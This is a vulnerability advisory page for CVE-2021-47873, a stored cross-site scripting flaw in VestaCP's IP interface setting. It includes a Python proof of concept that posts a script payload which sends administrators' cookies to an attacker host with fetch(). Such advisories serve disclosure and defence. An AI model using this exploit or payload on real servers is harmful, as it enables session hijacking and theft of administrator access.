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CVE-2021-47873 CVSS 7.2 HIGH

CVE-2021-47873

Published: 2026-01-21 18:16:21
Last Modified: 2026-04-15 00:35:42

Description

VestaCP versions prior to 0.9.8-25 contain a cross-site scripting vulnerability in the IP interface configuration that allows attackers to inject malicious scripts. Attackers can exploit the 'v_interface' parameter by sending a crafted POST request to the add/ip/ endpoint with a stored XSS payload.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

VestaCP < 0.9.8-25

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2021-47873 PoC - VestaCP Stored XSS in IP interface configuration # Target: VestaCP versions < 0.9.8-25 # Endpoint: /add/ip/ # Parameter: v_interface target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-vestacp:8083" # XSS payload - steals admin cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Construct POST request to add IP with XSS payload endpoint = f"{target_url}/add/ip/" data = { "v_interface": xss_payload, "v_ip": "192.168.1.100", "v_netmask": "255.255.255.0" } try: print(f"[*] Sending XSS payload to {endpoint}") response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print("[+] XSS payload sent successfully!") print("[*] Payload stored in IP configuration") print("[*] When admin visits IP page, XSS will execute") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

References

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